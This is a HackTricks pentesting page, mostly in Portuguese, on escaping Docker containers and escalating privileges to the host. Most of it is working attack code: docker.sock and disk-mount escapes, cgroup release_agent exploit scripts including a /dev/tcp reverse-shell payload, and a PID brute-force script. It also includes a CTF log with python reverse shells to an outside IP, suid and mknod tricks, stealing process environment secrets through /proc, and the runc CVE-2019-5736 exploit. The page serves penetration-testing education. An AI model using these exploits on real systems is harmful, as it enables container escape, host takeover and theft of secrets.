hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md

# Fuga do Docker / Escalada de Privilégios

<details>

<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Enumeração Automática & Fuga

* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Também pode **enumerar contêineres**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Esta ferramenta é bastante **útil para enumerar o contêiner em que você está e até tentar fugir automaticamente**
* [**amicontained**](https://github.com/genuinetools/amicontained): Ferramenta útil para obter os privilégios que o contêiner possui a fim de encontrar maneiras de fugir dele
* [**deepce**](https://github.com/stealthcopter/deepce): Ferramenta para enumerar e fugir de contêineres
* [**grype**](https://github.com/anchore/grype): Obtenha os CVEs contidos no software instalado na imagem

## Fuga por Socket do Docker Montado

Se de alguma forma você descobrir que o **socket do docker está montado** dentro do contêiner docker, você poderá fugir dele.\
Isso geralmente acontece em contêineres docker que, por algum motivo, precisam se conectar ao daemon do docker para realizar ações.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
Neste caso, você pode usar comandos regulares do docker para se comunicar com o daemon do docker:
```bash
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
{% hint style="info" %}
Caso o **socket do docker esteja em um local inesperado**, você ainda pode se comunicar com ele usando o comando **`docker`** com o parâmetro **`-H unix:///caminho/para/docker.sock`**
{% endhint %}

O daemon do Docker também pode estar [ouvindo em uma porta (por padrão 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou em sistemas baseados em Systemd, a comunicação com o daemon do Docker pode ocorrer através do socket do Systemd `fd://`.

{% hint style="info" %}
Além disso, preste atenção nos sockets de runtime de outras plataformas de alto nível:

* dockershim: `unix:///var/run/dockershim.sock`
* containerd: `unix:///run/containerd/containerd.sock`
* cri-o: `unix:///var/run/crio/crio.sock`
* frakti: `unix:///var/run/frakti.sock`
* rktlet: `unix:///var/run/rktlet.sock`
* ...
{% endhint %}

## Abuso de Capacidades para Escapar

Você deve verificar as capacidades do container, se ele tiver alguma das seguintes, você pode ser capaz de escapar dele: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**

Você pode verificar as capacidades atuais do container usando **ferramentas automáticas mencionadas anteriormente** ou:
```bash
capsh --print
```
Na página a seguir, você pode **aprender mais sobre capacidades linux** e como abusar delas para escapar/elevar privilégios:

{% content-ref url="../../linux-capabilities.md" %}
[linux-capabilities.md](../../linux-capabilities.md)
{% endcontent-ref %}

## Fuga de Containers Privilegiados

Um container privilegiado pode ser criado com a flag `--privileged` ou desabilitando defesas específicas:

* `--cap-add=ALL`
* `--security-opt apparmor=unconfined`
* `--security-opt seccomp=unconfined`
* `--security-opt label:disable`
* `--pid=host`
* `--userns=host`
* `--uts=host`
* `--cgroupns=host`
* `Montar /dev`

A flag `--privileged` introduz preocupações significativas de segurança, e o exploit depende do lançamento de um container docker com ela ativada. Ao usar essa flag, containers têm acesso total a todos os dispositivos e não possuem restrições de seccomp, AppArmor e capacidades Linux. Você pode l**er todos os efeitos de `--privileged`** nesta página:

{% content-ref url="../docker-privileged.md" %}
[docker-privileged.md](../docker-privileged.md)
{% endcontent-ref %}

### Privilegiado + hostPID

Com essas permissões, você pode simplesmente **mover-se para o namespace de um processo rodando no host como root** como init (pid:1) apenas executando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`

Teste isso em um container executando:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### Privilegiado

Apenas com a flag privilegiada, você pode tentar **acessar o disco do host** ou tentar **escapar abusando do release\_agent ou outros escapes**.

Teste os seguintes bypasses em um container executando:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### Montagem de Disco - Poc1

Containers docker bem configurados não permitirão comandos como **fdisk -l**. No entanto, em comandos docker mal configurados onde a flag `--privileged` ou `--device=/dev/sda1` com caps é especificada, é possível obter privilégios para ver o drive do host.

![](https://bestestredteam.com/content/images/2019/08/image-16.png)

Portanto, para assumir o controle da máquina host, é trivial:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
E voilà! Agora você pode acessar o sistema de arquivos do host porque ele está montado na pasta `/mnt/hola`.

#### Montando Disco - Poc2

Dentro do container, um atacante pode tentar obter mais acesso ao sistema operacional hospedeiro subjacente por meio de um volume hostPath gravável criado pelo cluster. Abaixo estão algumas coisas comuns que você pode verificar dentro do container para ver se pode aproveitar esse vetor de ataque:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Fuga Privilegiada Abusando do release\_agent existente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1

{% code title="PoC Inicial" %}
```bash
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o
```
#### Fuga Privilegiada Abusando do release\_agent criado ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2

{% code title="Segundo PoC" %}
```bash
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output
```
Encontre uma **explicação da técnica** em:

{% content-ref url="docker-release_agent-cgroups-escape.md" %}
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
{% endcontent-ref %}

#### Escapar Privilegiado Abusando do release\_agent sem conhecer o caminho relativo - PoC3

Nos exploits anteriores, **o caminho absoluto do contêiner dentro do sistema de arquivos do host é divulgado**. No entanto, nem sempre é o caso. Em casos onde você **não conhece o caminho absoluto do contêiner dentro do host**, você pode usar esta técnica:

{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
{% endcontent-ref %}
```bash
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Executar o PoC dentro de um container privilegiado deve fornecer uma saída semelhante a:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...
```
#### Escapando Privilegiados Abusando de Montagens Sensíveis

Existem vários arquivos que podem estar montados que fornecem **informações sobre o host subjacente**. Alguns deles podem até indicar **algo a ser executado pelo host quando algo acontece** (o que permitirá a um atacante escapar do contêiner).
O abuso desses arquivos pode permitir que:

* release\_agent (já abordado anteriormente)
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)

No entanto, você pode encontrar **outros arquivos sensíveis** para verificar nesta página:

{% content-ref url="sensitive-mounts.md" %}
[sensitive-mounts.md](sensitive-mounts.md)
{% endcontent-ref %}

### Montagens Arbitrárias

Em várias ocasiões, você encontrará que o **contêiner tem algum volume montado a partir do host**. Se este volume não foi configurado corretamente, você poderá **acessar/modificar dados sensíveis**: Ler segredos, alterar ssh authorized\_keys…
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### Escalação de Privilégios com 2 shells e montagem do host

Se você tem acesso como **root dentro de um container** que possui alguma pasta do host montada e você **escapou como um usuário não privilegiado para o host** e tem acesso de leitura sobre a pasta montada.\
Você pode criar um **arquivo bash suid** na **pasta montada** dentro do **container** e **executá-lo a partir do host** para privesc.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### Escalação de Privilégios com 2 shells

Se você tem acesso como **root dentro de um container** e você **escapou como um usuário não privilegiado para o host**, você pode abusar de ambos os shells para **privesc dentro do host** se você tem a capacidade MKNOD dentro do container (é por padrão) como [**explicado neste post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Com tal capacidade, o usuário root dentro do container tem permissão para **criar arquivos de dispositivo de bloco**. Arquivos de dispositivo são arquivos especiais que são usados para **acessar hardware subjacente e módulos do kernel**. Por exemplo, o arquivo de dispositivo de bloco /dev/sda dá acesso para **ler os dados brutos no disco do sistema**.

O Docker garante que dispositivos de bloco **não possam ser abusados de dentro do container** definindo uma política de cgroup no container que bloqueia a leitura e escrita de dispositivos de bloco.\
No entanto, se um dispositivo de bloco é **criado dentro do container, ele pode ser acessado** através da pasta /proc/PID/root/ por alguém **fora do container**, a limitação sendo que o **processo deve ser de propriedade do mesmo usuário** fora e dentro do container.

Exemplo de **Exploração** deste [**relato**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$
```

```bash
# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```
### hostPID

Se você pode acessar os processos do host, será capaz de acessar muitas informações sensíveis armazenadas nesses processos. Execute o laboratório de teste:
```
docker run --rm -it --pid=host ubuntu bash
```
Por exemplo, você poderá listar os processos usando algo como `ps auxn` e procurar por detalhes sensíveis nos comandos.

Então, como você pode **acessar cada processo do host em /proc/, você pode simplesmente roubar seus segredos de ambiente** executando:
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
Você também pode **acessar descritores de arquivo de outros processos e ler seus arquivos abertos**:
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
Você também pode **matar processos e causar um DoS**.

{% hint style="warning" %}
Se você de alguma forma tiver acesso privilegiado **a um processo fora do container**, você poderia executar algo como `nsenter --target <pid> --all` ou `nsenter --target <pid> --mount --net --pid --cgroup` para **executar um shell com as mesmas restrições de ns** (esperançosamente nenhuma) **que aquele processo.**
{% endhint %}

### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
Se um container foi configurado com o driver de rede do Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), a pilha de rede desse container não é isolada do host Docker (o container compartilha o namespace de rede do host), e o container não recebe um endereço IP próprio alocado. Em outras palavras, o **container vincula todos os serviços diretamente ao IP do host**. Além disso, o container pode **interceptar TODO o tráfego de rede que o host** está enviando e recebendo na interface compartilhada `tcpdump -i eth0`.

Por exemplo, você pode usar isso para **farejar e até mesmo falsificar tráfego** entre o host e a instância de metadados.

Como nos seguintes exemplos:

* [Writeup: Como contatar o Google SRE: Criando um shell no cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Serviço de metadados MITM permite escalonamento de privilégios de root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)

Você também poderá acessar **serviços de rede vinculados ao localhost** dentro do host ou até mesmo acessar as **permissões de metadados do nó** (que podem ser diferentes daquelas que um container pode acessar).

### hostIPC
```
docker run --rm -it --ipc=host ubuntu bash
```
Se você tiver apenas `hostIPC=true`, provavelmente não poderá fazer muito. Se algum processo no host ou qualquer processo dentro de outro pod estiver usando os **mecanismos de comunicação entre processos** do host (memória compartilhada, arrays de semáforos, filas de mensagens, etc.), você poderá ler/escrever nesses mesmos mecanismos. O primeiro lugar que você vai querer verificar é `/dev/shm`, pois é compartilhado entre qualquer pod com `hostIPC=true` e o host. Você também vai querer verificar os outros mecanismos IPC com `ipcs`.

* **Inspecione /dev/shm** - Procure por quaisquer arquivos nesta localização de memória compartilhada: `ls -la /dev/shm`
* **Inspecione as instalações IPC existentes** – Você pode verificar se alguma instalação IPC está sendo usada com `/usr/bin/ipcs`. Verifique com: `ipcs -a`

### Recuperar capacidades

Se a syscall **`unshare`** não estiver proibida, você pode recuperar todas as capacidades executando:
```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```
### Abuso do namespace de usuário via symlink

A segunda técnica explicada no post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica como você pode abusar de montagens bind com namespaces de usuário, para afetar arquivos dentro do host (naquele caso específico, deletar arquivos).

<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com o suporte das **ferramentas comunitárias mais avançadas** do mundo.\
Obtenha Acesso Hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## CVEs

### Exploit Runc (CVE-2019-5736)

Caso você possa executar `docker exec` como root (provavelmente com sudo), você pode tentar escalar privilégios escapando de um container abusando do CVE-2019-5736 (exploit [aqui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Essa técnica basicamente vai **sobrescrever** o binário _**/bin/sh**_ do **host** **de dentro de um container**, então qualquer um que executar docker exec pode acionar o payload.

Altere o payload conforme necessário e construa o main.go com `go build main.go`. O binário resultante deve ser colocado no container docker para execução.\
Após a execução, assim que mostrar `[+] Overwritten /bin/sh successfully`, você precisa executar o seguinte do host:

`docker exec -it <nome-do-container> /bin/sh`

Isso vai acionar o payload que está presente no arquivo main.go.

Para mais informações: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)

{% hint style="info" %}
Existem outros CVEs que o container pode ser vulnerável também, você pode encontrar uma lista em [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
{% endhint %}

## Fuga Personalizada do Docker

### Superfície de Fuga do Docker

* **Namespaces:** O processo deve ser **completamente separado de outros processos** via namespaces, então não podemos escapar interagindo com outros procs devido a namespaces (por padrão não pode comunicar via IPCs, sockets unix, serviços de rede, D-Bus, `/proc` de outros procs).
* **Usuário root**: Por padrão, o usuário que executa o processo é o usuário root (no entanto, seus privilégios são limitados).
* **Capabilities**: Docker deixa as seguintes capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Syscalls**: Estas são as syscalls que o **usuário root não poderá chamar** (por falta de capabilities + Seccomp). As outras syscalls poderiam ser usadas para tentar escapar.

{% tabs %}
{% tab title="x64 syscalls" %}
```yaml
0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf
```
{% endtab %}

{% tab title="syscalls arm64" %}
```
0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf
```
{% endtab %}

{% tab title="syscall_bf.c" %}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64

#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```

````
{% endtab %}
{% endtabs %}

### Container Breakout through Usermode helper Template

If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):

* Find the **path of the containers filesystem** inside the host
* You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit
* Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
* You should be able to **execute the trigger from inside the host**
* You need to know where the containers files are located inside the host to indicate a script you write inside the host
* Have **enough capabilities and disabled protections** to be able to abuse that functionality
* You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container

## References

* [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB)
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
* [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver)
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)

<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>